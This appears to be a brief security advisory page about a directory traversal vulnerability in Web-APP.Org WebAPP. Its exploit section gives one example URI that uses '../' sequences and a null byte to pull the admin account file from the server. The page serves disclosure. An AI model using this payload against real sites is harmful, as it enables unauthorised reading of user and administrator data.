• info
• discussion
• exploit
• solution
• references

Web-APP.Org WebAPP Directory Traversal Vulnerability

Exploit code is not required. An example URI sufficient to exploit this vulnerability was provided:

http://www.example.com/cgi-bin/index.cgi?action=topics&viewcat=../../db/members/admin.dat%00